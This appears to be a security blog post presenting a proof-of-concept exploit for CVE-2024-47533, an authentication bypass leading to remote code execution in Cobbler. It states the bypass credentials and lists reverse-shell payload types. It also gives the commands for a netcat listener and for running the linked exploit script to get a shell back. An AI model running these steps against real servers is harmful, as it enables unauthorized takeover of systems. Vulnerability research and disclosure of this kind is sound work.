Post

CVE-2024-47533 - Cobbler XMLRPC Authentication Bypass RCE Exploit POC

CVE-2024-47533 is a critical authentication bypass vulnerability in Cobbler (versions 3.0.0 to before 3.2.3 and 3.3.7) allowing unauthenticated remote code execution via the XMLRPC interface.

CVE-2024-47533 - Cobbler XMLRPC Authentication Bypass RCE Exploit POC

โš ๏ธ Critical Remote Code Execution via Authentication Bypass in Cobbler
๐Ÿ› ๏ธ PoC implementation by @dollarboysushil


๐Ÿ’ก Overview

Cobbler, a Linux installation server that enables rapid setup of network installation environments, has an authentication vulnerability in versions 3.0.0 up to (but not including) 3.2.3 and 3.3.7. The function utils.get_shared_secret() always returns -1, allowing anyone to connect to the Cobbler XML-RPC interface with an empty username (โ€˜โ€™) and password -1. This lets an attacker with network access gain full control of the Cobbler server. The vulnerability is fixed in versions 3.2.3 and 3.3.7.


๐Ÿ›  Technical Breakdown

The vulnerability is caused by improper handling of the shared secret in the utils.get_shared_secret() function, which always returns -1, effectively bypassing authentication. This lets any network user connect to Cobblerโ€™s XMLRPC interface with empty credentials and execute arbitrary commands.


๐Ÿ”ฅ Vulnerable Endpoint

http://<target>:25151/ โ€” Cobblerโ€™s XMLRPC API endpoint


๐Ÿ’ฅ Example Payloads

The exploit script supports various reverse shell payloads including:

  • Bash reverse shell
  • Netcat shells (nc, nc2)
  • Python reverse shell
  • Curl download & execute

๐Ÿ”ฌ Proof-of-Concept (PoC) Demonstration

https://github.com/dollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

๐Ÿ“ก Preparing the Listener

Start a Netcat listener on your machine:

1
nc -lvnp 4444

netcat listener

๐Ÿš€ Launching the Exploit

Run the exploit script CVE-2024-47533-dbs.py.

1
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash

CVE-2024-47533-dbs.py

๐Ÿ’ป Successful Remote Shell Access

Upon successful execution, the reverse shell will connect back to the listener, granting the attacker remote access to the server.

Successfull Reverse Shell

๐Ÿ“ References

This post is licensed under CC BY 4.0 by the author.

ยฉ dollarboysushil. Some rights reserved.

Using the Chirpy theme for Jekyll.